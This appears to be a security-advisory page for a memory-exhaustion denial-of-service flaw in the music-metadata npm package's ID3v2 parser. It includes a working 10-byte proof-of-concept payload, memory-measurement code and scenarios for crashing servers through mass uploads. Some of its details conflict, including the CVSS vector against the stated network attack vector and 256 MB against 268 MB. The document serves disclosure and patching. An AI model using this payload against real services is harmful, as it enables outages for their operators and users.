GHSA-JJPR-9CVF-CQ55
Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43Summary
The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.
Details
Vulnerable Code Path:
lib/id3v2/ID3v2Token.ts:108- Syncsafe size read without validationlib/id3v2/ID3v2Parser.ts:122- Full tag body allocated before readinglib/id3v2/AbstractID3Parser.ts:22- Allocation happens before stream validation
Root Cause:
The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:
- If the tag size exceeds the remaining file size
- If the tag size exceeds a reasonable maximum
- If the subsequent read will actually succeed
// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly
// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded
Attack Mechanism:
- File contains valid ID3v2 header with 10 bytes total
- ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
- Parser allocates 268 MB buffer
- Stream read fails (EOF) after 10 bytes
EndOfStreamErroris caught internally and silently handled- Caller receives normal metadata object
- 268 MB remains allocated until garbage collection
Affected Parsers: MP3 (primary), FLAC, DSF, Musepack
Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)
PoC
Complete reproduction steps:
import { parseBuffer } from 'music-metadata';
// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, // "ID3" identifier
0x04, 0x00, // Version 2.4.0
0x00, // Flags (no unsync, no extended header, etc)
0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)
// File ends here - truncated
]);
console.log('Input file size:', maliciousFile.byteLength, 'bytes');
try {
const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
console.log('✓ Parse succeeded (no error thrown)');
console.log('✓ Metadata returned:', metadata);
console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
console.error('✗ Unexpected error:', error.message);
}
To demonstrate memory impact:
Run with node --expose-gc to monitor allocations:
// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
0x7f, 0x7f, 0x7f, 0x7f
]);
// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();
console.log('Memory before:', {
heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});
const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;
const after = process.memoryUsage();
console.log('Memory after:', {
heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});
console.log('Parse time:', duration.toFixed(2) + ' ms');
console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');
Expected output:
Input file size: 10 bytes
✓ Parse succeeded (no error thrown)
✓ Metadata returned: { format: {}, common: {}, native: {} }
⚠️ ~268 MB was allocated despite only 10 bytes of input
Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' }
Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' }
externalDelta: 256.00 MB
Parse time: 15.23 ms
Result: ⚠️ LARGE ALLOCATION
Impact
Vulnerability Type: Uncontrolled Memory Allocation / Denial of Service (CWE-789)
Attack Vector: Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files
Who is Impacted:
- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)
- Podcast hosting services (Podbean, Transistor, Anchor, etc.)
- Media servers (Plex, Subsonic, Jellyfin, etc.)
- Audio processing services (Discord, Slack, Teams)
- Any web service with file upload that uses music-metadata
Real-World Exploitation:
- Single Attacker, Multiple Files:
- Upload 10 malicious ID3v2 files (10 bytes each)
- Force 2.68 GB memory allocation
-
Overwhelm server memory capacity
-
Distributed Attack:
- 100 concurrent uploads × 268 MB = 26.8 GB memory
- Exhaust server memory, force OOM kills
-
Crash worker processes, cause DoS
-
Slow Leak:
- Repeatedly upload truncated ID3v2 files
- Each parse allocates 268 MB
- Memory leaks accumulate over time
-
Server becomes unresponsive
-
Cost Impact:
- Forced to scale up server capacity for parsing
- Increased infrastructure costs
- Reduced service availability
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.12.3"
},
"package": {
"ecosystem": "npm",
"name": "music-metadata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107388"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:43:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently\u2014callers don\u0027t see an error.\n\n---\n\n### Details\n\n**Vulnerable Code Path:**\n\n- `lib/id3v2/ID3v2Token.ts:108` - Syncsafe size read without validation\n- `lib/id3v2/ID3v2Parser.ts:122` - Full tag body allocated before reading\n- `lib/id3v2/AbstractID3Parser.ts:22` - Allocation happens before stream validation\n\n**Root Cause:**\n\nThe ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:\n\n1. If the tag size exceeds the remaining file size\n2. If the tag size exceeds a reasonable maximum\n3. If the subsequent read will actually succeed\n\n```typescript\n// ID3v2Token.ts:108\nconst size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly\n\n// Later: Allocates without validation\nconst tagBody = await tokenizer.readBuffer(Buffer.alloc(size));\n// If actual data \u003c size, read fails but allocation succeeded\n```\n\n**Attack Mechanism:**\n\n1. File contains valid ID3v2 header with 10 bytes total\n2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)\n3. Parser allocates 268 MB buffer\n4. Stream read fails (EOF) after 10 bytes\n5. `EndOfStreamError` is caught internally and silently handled\n6. Caller receives normal metadata object\n7. 268 MB remains allocated until garbage collection\n\n**Affected Parsers:** MP3 (primary), FLAC, DSF, Musepack\n\n**Memory Amplification:** 10 bytes input \u2192 268 MB allocation (26.8 million times amplification)\n\n---\n\n### PoC\n\n**Complete reproduction steps:**\n\n```javascript\nimport { parseBuffer } from \u0027music-metadata\u0027;\n\n// Create a minimal ID3v2 file with maximum tag size but truncated content\nconst maliciousFile = Uint8Array.from([\n 0x49, 0x44, 0x33, // \"ID3\" identifier\n 0x04, 0x00, // Version 2.4.0\n 0x00, // Flags (no unsync, no extended header, etc)\n 0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)\n // File ends here - truncated\n]);\n\nconsole.log(\u0027Input file size:\u0027, maliciousFile.byteLength, \u0027bytes\u0027);\n\ntry {\n const metadata = await parseBuffer(maliciousFile, { mimeType: \u0027audio/mpeg\u0027 });\n console.log(\u0027\u2713 Parse succeeded (no error thrown)\u0027);\n console.log(\u0027\u2713 Metadata returned:\u0027, metadata);\n console.log(\u0027\u26a0\ufe0f ~268 MB was allocated despite only 10 bytes of input\u0027);\n} catch (error) {\n console.error(\u0027\u2717 Unexpected error:\u0027, error.message);\n}\n```\n\n**To demonstrate memory impact:**\n\nRun with `node --expose-gc` to monitor allocations:\n\n```javascript\n// Extended PoC to show memory usage\nimport { parseBuffer } from \u0027music-metadata\u0027;\nimport { performance } from \u0027perf_hooks\u0027;\n\nconst maliciousFile = Uint8Array.from([\n 0x49, 0x44, 0x33, 0x04, 0x00, 0x00,\n 0x7f, 0x7f, 0x7f, 0x7f\n]);\n\n// Force garbage collection before test\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\nconsole.log(\u0027Memory before:\u0027, {\n heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n external: (before.external / 1024 / 1024).toFixed(2) + \u0027 MB\u0027\n});\n\nconst start = performance.now();\nawait parseBuffer(maliciousFile, { mimeType: \u0027audio/mpeg\u0027 });\nconst duration = performance.now() - start;\n\nconst after = process.memoryUsage();\n\nconsole.log(\u0027Memory after:\u0027, {\n heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n external: (after.external / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + \u0027 MB\u0027\n});\n\nconsole.log(\u0027Parse time:\u0027, duration.toFixed(2) + \u0027 ms\u0027);\nconsole.log(\u0027Result:\u0027, after.external / 1024 / 1024 \u003e 100 ? \u0027\u26a0\ufe0f LARGE ALLOCATION\u0027 : \u0027\u2713 Normal\u0027);\n```\n\n**Expected output:**\n\n```\nInput file size: 10 bytes\n\u2713 Parse succeeded (no error thrown)\n\u2713 Metadata returned: { format: {}, common: {}, native: {} }\n\u26a0\ufe0f ~268 MB was allocated despite only 10 bytes of input\n\nMemory before: { heapUsed: \u00272.50 MB\u0027, external: \u00270.00 MB\u0027 }\nMemory after: { heapUsed: \u00272.60 MB\u0027, external: \u0027256.00 MB\u0027 }\nexternalDelta: 256.00 MB\nParse time: 15.23 ms\nResult: \u26a0\ufe0f LARGE ALLOCATION\n```\n\n---\n\n### Impact\n\n**Vulnerability Type:** Uncontrolled Memory Allocation / Denial of Service (CWE-789)\n\n**Attack Vector:** Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files\n\n**Who is Impacted:**\n\n- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)\n- Podcast hosting services (Podbean, Transistor, Anchor, etc.)\n- Media servers (Plex, Subsonic, Jellyfin, etc.)\n- Audio processing services (Discord, Slack, Teams)\n- Any web service with file upload that uses music-metadata\n\n**Real-World Exploitation:**\n\n1. **Single Attacker, Multiple Files:**\n - Upload 10 malicious ID3v2 files (10 bytes each)\n - Force 2.68 GB memory allocation\n - Overwhelm server memory capacity\n\n2. **Distributed Attack:**\n - 100 concurrent uploads \u00d7 268 MB = 26.8 GB memory\n - Exhaust server memory, force OOM kills\n - Crash worker processes, cause DoS\n\n3. **Slow Leak:**\n - Repeatedly upload truncated ID3v2 files\n - Each parse allocates 268 MB\n - Memory leaks accumulate over time\n - Server becomes unresponsive\n\n4. **Cost Impact:**\n - Forced to scale up server capacity for parsing\n - Increased infrastructure costs\n - Reduced service availability",
"id": "GHSA-jjpr-9cvf-cq55",
"modified": "2026-10-08T19:43:17Z",
"published": "2026-10-08T19:43:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/pull/2743"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7"
},
{
"type": "PACKAGE",
"url": "https://github.com/Borewit/music-metadata"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.